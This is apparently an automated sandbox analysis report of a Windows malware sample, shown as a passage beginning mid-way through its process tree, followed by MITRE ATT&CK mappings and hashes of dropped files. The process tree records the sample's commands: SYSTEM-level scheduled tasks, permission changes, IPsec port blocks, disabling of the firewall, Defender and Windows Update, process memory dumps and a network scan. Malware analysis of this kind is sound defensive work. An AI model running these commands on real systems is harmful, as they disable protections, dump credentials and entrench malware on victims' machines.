  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "mgifbllvi" /ru system /tr "cmd /c C:\Windows\ime\jirnzjt.exe"
  2⤵
  PID:1456
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:4332
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "mgifbllvi" /ru system /tr "cmd /c C:\Windows\ime\jirnzjt.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:4680
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "entieatkh" /ru system /tr "cmd /c echo Y|cacls C:\Windows\mgifenbt\jirnzjt.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4220
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3420
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "entieatkh" /ru system /tr "cmd /c echo Y|cacls C:\Windows\mgifenbt\jirnzjt.exe /p everyone:F"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3688
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ilklngwgl" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\ibnltisvu\jngiyk.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:732
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3832
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "ilklngwgl" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\ibnltisvu\jngiyk.exe /p everyone:F"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2236
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3508
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3916
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1536
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2252
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4684
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4056
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1544
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3132
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1772
- C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe
  C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe -accepteula -mp 764 C:\Windows\TEMP\etqajulug\764.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3100
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1852
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3384
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4608
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop SharedAccess
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1108
- - C:\Windows\SysWOW64\net.exe
    net stop SharedAccess
    3⤵
    PID:4688
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SharedAccess
      4⤵
      System Location Discovery: System Language Discovery
      PID:3956
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh firewall set opmode mode=disable
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4488
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall set opmode mode=disable
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:2912
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh Advfirewall set allprofiles state off
  2⤵
  PID:2884
- - C:\Windows\SysWOW64\netsh.exe
    netsh Advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:1920
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop MpsSvc
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3832
- - C:\Windows\SysWOW64\net.exe
    net stop MpsSvc
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2144
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MpsSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:4356
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop WinDefend
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1880
- - C:\Windows\SysWOW64\net.exe
    net stop WinDefend
    3⤵
    PID:1172
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop WinDefend
      4⤵
      System Location Discovery: System Language Discovery
      PID:516
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop wuauserv
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4856
- - C:\Windows\SysWOW64\net.exe
    net stop wuauserv
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3852
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      PID:2352
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config MpsSvc start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4028
- - C:\Windows\SysWOW64\sc.exe
    sc config MpsSvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:3860
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config SharedAccess start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3440
- - C:\Windows\SysWOW64\sc.exe
    sc config SharedAccess start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:2312
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config WinDefend start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3688
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:2380
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config wuauserv start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2236
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:860
- C:\Windows\TEMP\xohudmc.exe
  C:\Windows\TEMP\xohudmc.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  PID:3656
- C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe
  C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe -accepteula -mp 336 C:\Windows\TEMP\etqajulug\336.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4008
- C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe
  C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe -accepteula -mp 2084 C:\Windows\TEMP\etqajulug\2084.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4304
- C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe
  C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe -accepteula -mp 2704 C:\Windows\TEMP\etqajulug\2704.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4424
- C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe
  C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe -accepteula -mp 3044 C:\Windows\TEMP\etqajulug\3044.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1280
- C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe
  C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe -accepteula -mp 3060 C:\Windows\TEMP\etqajulug\3060.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3516
- C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe
  C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe -accepteula -mp 3084 C:\Windows\TEMP\etqajulug\3084.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:5068
- C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe
  C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe -accepteula -mp 3748 C:\Windows\TEMP\etqajulug\3748.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3600
- C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe
  C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe -accepteula -mp 3836 C:\Windows\TEMP\etqajulug\3836.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3968
- C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe
  C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe -accepteula -mp 3904 C:\Windows\TEMP\etqajulug\3904.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3720
- C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe
  C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe -accepteula -mp 3984 C:\Windows\TEMP\etqajulug\3984.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2448
- C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe
  C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe -accepteula -mp 3180 C:\Windows\TEMP\etqajulug\3180.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2248
- C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe
  C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe -accepteula -mp 4148 C:\Windows\TEMP\etqajulug\4148.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:872
- C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe
  C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe -accepteula -mp 2432 C:\Windows\TEMP\etqajulug\2432.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1076
- C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe
  C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe -accepteula -mp 1960 C:\Windows\TEMP\etqajulug\1960.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4304
- C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe
  C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe -accepteula -mp 4916 C:\Windows\TEMP\etqajulug\4916.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2920
- C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe
  C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe -accepteula -mp 4180 C:\Windows\TEMP\etqajulug\4180.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3588
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\etqajulug\ekithtuut\scan.bat
  2⤵
  PID:1556
- - C:\Windows\etqajulug\ekithtuut\lsivtqwuf.exe
    lsivtqwuf.exe TCP 181.215.0.1 181.215.255.255 7001 512 /save
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:436
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2124
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5844
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    PID:3468
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4292
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    PID:5480
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5936
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    PID:5912

C:\Windows\SysWOW64\skwigk.exe
C:\Windows\SysWOW64\skwigk.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:5012

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\jirnzjt.exe
1⤵
PID:3528
- C:\Windows\ime\jirnzjt.exe
  C:\Windows\ime\jirnzjt.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:2020

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\ibnltisvu\jngiyk.exe /p everyone:F
1⤵
PID:5108
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:3320
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\ibnltisvu\jngiyk.exe /p everyone:F
  2⤵
  PID:1828

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\mgifenbt\jirnzjt.exe /p everyone:F
1⤵
PID:3632
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:2104
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\mgifenbt\jirnzjt.exe /p everyone:F
  2⤵
  PID:2376

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\ibnltisvu\jngiyk.exe /p everyone:F
1⤵
PID:5736
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:5324
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\ibnltisvu\jngiyk.exe /p everyone:F
  2⤵
  PID:6084

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\mgifenbt\jirnzjt.exe /p everyone:F
1⤵
PID:5280
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:224
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\mgifenbt\jirnzjt.exe /p everyone:F
  2⤵
  PID:6124

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\jirnzjt.exe
1⤵
PID:5888
- C:\Windows\ime\jirnzjt.exe
  C:\Windows\ime\jirnzjt.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:5680

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

OS Credential Dumping

T1003

LSASS Memory

T1003.001

Discovery

Network Service Discovery

T1046

Network Share Discovery

T1135

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\SysWOW64\Packet.dll

Filesize
95KB

MD5
86316be34481c1ed5b792169312673fd

SHA1
6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5

SHA256
49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918

SHA512
3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc

Download Submit
C:\Windows\SysWOW64\wpcap.dll

Filesize
275KB

MD5
4633b298d57014627831ccac89a2c50b

SHA1
e5f449766722c5c25fa02b065d22a854b6a32a5b

SHA256
b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

SHA512
29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3

Download Submit
C:\Windows\TEMP\etqajulug\2084.dmp

Filesize
4.1MB

MD5
9c273d10ce2e774fc391a668f95483c0

SHA1
552ba6d509b35fa7db013ba595d9958d0255f0b4

SHA256
f576a66c400f35a12d7c054f9a942a43ea10584e03e875342910cb8291df268c

SHA512
6be1b029eb34997f1c26f7b9808c2433c06c3f2a380b00d6e6d875994a40ebf976bd6508470215f8a52f603ded040148cff40ad75eaa8b1e5e68ab982e7f448c

Download Submit
C:\Windows\TEMP\etqajulug\2432.dmp

Filesize
9.2MB

MD5
d3dbc5ce6220776fa4255a49a43975bf

SHA1
65c1e9495352febec978ae9e16d3ff51c5cb51fc

SHA256
5fb9779777161df9e6e1d95198f066089c67832c052ec21f49b2d4fd25b3c46c

SHA512
cee9cf1b1e0498ee158450c3a16c46e7b6bd093bfe299261246d046d409971213a6f957a5c2d2c5c7c266b9785da73bf1584d9acd439d26667bd5ddc9169748b

Download Submit
C:\Windows\TEMP\etqajulug\2704.dmp

Filesize
7.6MB

MD5
350e95e7d0b8a76b985f4c1b111ae9ff

SHA1
cc10af236263dde1aafcf65cfaa3490fca1bf540

SHA256
19223bdd271d631768fd877c6f45ce99974038d3dd1d93a7985fc2c3f6102789

SHA512
b7a42195a6dc2771cc480ac3bed51800deab72af25cb297fe4db57f65b0ae5245db4c4048a1e3d0d1025dc2f34285b6ea9018f9df6b1c8b08c30296912d4f430

Download Submit
C:\Windows\TEMP\etqajulug\3044.dmp

Filesize
796KB

MD5
96c2161be9af71cee9e8f48688b3030e

SHA1
a55c9e652e43b9d8cb461739efc16aa0b0bb1b08

SHA256
4132ef9cbce0c0580f0aca0097aed86e4d04f0315f2aa7245324c1b95b625afe

SHA512
eab5d6e2643bd1bef9348ffeb1ab3b6ccab335cbc5b91c09731b61eaab60f16cc9fd264896f3320f24e918a603b6813e458521dafbd9093ef68695af2a070370

Download Submit
C:\Windows\TEMP\etqajulug\3060.dmp

Filesize
3.8MB

MD5
23612e6500de0866e3442211e16076d9

SHA1
6fb090023423e8c8503c0c7ada09ba3db0dc7f8a

SHA256
92ee92e4811edbf244fa53c861e411f6c868dd65280c7188a283302f76b46e03

SHA512
4a130a7393eb31f774c146d9e844f6a0ad1c0db4d5591c9f3e043eb392668051ff6f9d5f8f834823a950b747809552b489c23633e27890f31ad77443011a314d

Download Submit
C:\Windows\TEMP\etqajulug\3084.dmp

Filesize
2.9MB

MD5
5c2a91c2c9490c8eef799914a9a3531e

SHA1
8f0303d84e293e09b765d1dfb7063800a238bf2e

SHA256
c0e85dea447fedea32b5b0e840153489830ba9fe21452868d685027fa7e72a0e

SHA512
a1bb5a4f0a1666209c34aafc2b42d6cbb109f3c9afb292f97054043cf90fdf98b06ed21cceabaa421a32ab565bc0531b9dfc925c9e9a787d1b8c6addfa3f35ed

Download Submit
C:\Windows\TEMP\etqajulug\3180.dmp

Filesize
1.2MB

MD5
ddb719a660dc884768e4cdad471b9a37

SHA1
a1c5ebb20c11c5481a27c1e23c57043f98b71980

SHA256
31bc525ff63ac4582c49a2a37e058b2df80fcc788157a7168edb49be4d7de43f

SHA512
99a0660e4f2d72cc3b27b85cf3e9c119e1f5a19ae45a954d1dad400464b81acb96df2a0f567491a284dfc010b9ba483ef760fcc8d515e18f5dd4dd60c462656e

Download Submit
C:\Windows\TEMP\etqajulug\336.dmp

Filesize
33.5MB

MD5
d21785999f2937b8ecd5606b5de06cfe

SHA1
95157f7e347660ca94f7a094225754cef8272124

SHA256
e091da3d9a8545498fb0f48fa2908185694284ff979e2d0535ae7771ee776fcf

SHA512
a7b0106d53278619a402cfd5caf63f0b5ca8ce49624a73a1b083cb02a7d92fa6e9f9687a4f964904029abf42df2dc86af4668cf6914d3a65737d899af9dc32c9

Download Submit
C:\Windows\TEMP\etqajulug\3748.dmp

Filesize
2.5MB

MD5
1859aa7be83d2737bfc537a594728950

SHA1
dfa51de8be5fcdc6ab369bc8098e6e2e96093c6e

SHA256
632f859f486a1b83c11a2c2ef10a218c24ee39a1cd8149c83010a1103483ed54

SHA512
4f3c8800a897077d4512ab94313091a09e642290ba75b169c757c8140e7eae7132937cf76b2a1005c9e2089cf7b06174e39d9976ae8a23abb30d1b40000f278b

Download Submit
C:\Windows\TEMP\etqajulug\3836.dmp

Filesize
20.7MB

MD5
bd5f7d09e13b07d28e5371611c258c59

SHA1
bbb2a8ddd764d8352dc030c49e76e24bf4e2692e

SHA256
c38be67c0ce9bfa1bacbafa3f7b32412185cd87def5dd771daaaa69d12755de7

SHA512
d11e17c474046d2ce35c835a5ea37eaccaaa210e2f54c3172b522fbc1877ad1d130a20704d8faf7593b518b49bcc35c322584beae446d654c807f693cc10ee62

Download Submit
C:\Windows\TEMP\etqajulug\3904.dmp

Filesize
4.3MB

MD5
9afb3a99070ae9c20f562ce2dfff3131

SHA1
36be0625d2fb43cde74b3e55174175caf5eb4a64

SHA256
b02e486de6f1aa190590f0208f6cd77914df1a2d2d766387f53aa43486c7d6fd

SHA512
32e306f450ae60702cac10733cb7d0af97ccc8d83db7f833f83fd2dac71c7c97e366529fb0063cec8f5bcd2791ace1d9e9be188e87140e26db5e1afc5a3edc20

Download Submit
C:\Windows\TEMP\etqajulug\3984.dmp

Filesize
43.9MB

MD5
34074d246b872c20fc33857803f605cd

SHA1
432c53094344d658ebc7011e1e85f96d6a0685f3

SHA256
3b91082ec4a1ca553c769c43b41aacb442d5a4130f58faf23f68b59780f5019c

SHA512
2c26027d0a72767f146715b5a0450e01e93352c3355f46da847e895badb83145321704373d95d245c2b5a84dfc3f317cb43a7d602b3625f3ed9c4d027407be72

Download Submit
C:\Windows\TEMP\etqajulug\4148.dmp

Filesize
26.0MB

MD5
c0be981d11d8770b18500aeee123bbf6

SHA1
dd9568f2f85dd93ad081d0a86cde0578f3b4db4e

SHA256
338ae02eb0f1fbac2597f0b1e23487c93e8af7aece5192b64da0822daeaa0eec

SHA512
4f5bd8b6762a5dc6170e6221657811af607c134076475af0d5f3ca8c721c8af912f92fe065b94dc4691317c80f620721eb534c04a492e6227518f31b26fb5eaf

Download Submit
C:\Windows\TEMP\etqajulug\764.dmp

Filesize
1019KB

MD5
ec3ae2777d0718ee642d679d4e264e29

SHA1
d36d61d3f9df3e1fee77cae68eb6fd545224995a

SHA256
157f0f62b198d607e32fb7ac90b5525f8d55db28b2817f2bbab0c9ea2f0f15bb

SHA512
e9f059f8234b2d27f194982b297482b7c3f0861bbad39917f5fcfc96126eb721c13fc060bd344ae229413455da652edf37d77e626336638d7a0c32da9879f172

Download Submit
C:\Windows\TEMP\ibnltisvu\config.json

Filesize
693B

MD5
f2d396833af4aea7b9afde89593ca56e

SHA1
08d8f699040d3ca94e9d46fc400e3feb4a18b96b

SHA256
d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34

SHA512
2f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01

Download Submit
C:\Windows\Temp\etqajulug\vrlgkrtsk.exe

Filesize
126KB

MD5
e8d45731654929413d79b3818d6a5011

SHA1
23579d9ca707d9e00eb62fa501e0a8016db63c7e

SHA256
a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af

SHA512
df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6

Download Submit
C:\Windows\Temp\ibnltisvu\jngiyk.exe

Filesize
343KB

MD5
2b4ac7b362261cb3f6f9583751708064

SHA1
b93693b19ebc99da8a007fed1a45c01c5071fb7f

SHA256
a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23

SHA512
c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616

Download Submit
C:\Windows\Temp\nsdB4CB.tmp\System.dll

Filesize
11KB

MD5
2ae993a2ffec0c137eb51c8832691bcb

SHA1
98e0b37b7c14890f8a599f35678af5e9435906e1

SHA256
681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59

SHA512
2501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9

Download Submit
C:\Windows\Temp\nsdB4CB.tmp\nsExec.dll

Filesize
6KB

MD5
b648c78981c02c434d6a04d4422a6198

SHA1
74d99eed1eae76c7f43454c01cdb7030e5772fc2

SHA256
3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9

SHA512
219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2

Download Submit
C:\Windows\Temp\xohudmc.exe

Filesize
72KB

MD5
cbefa7108d0cf4186cdf3a82d6db80cd

SHA1
73aeaf73ddd694f99ccbcff13bd788bb77f223db

SHA256
7c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9

SHA512
b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1

Download Submit
C:\Windows\etqajulug\Corporate\vfshost.exe

Filesize
381KB

MD5
fd5efccde59e94eec8bb2735aa577b2b

SHA1
51aaa248dc819d37f8b8e3213c5bdafc321a8412

SHA256
441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45

SHA512
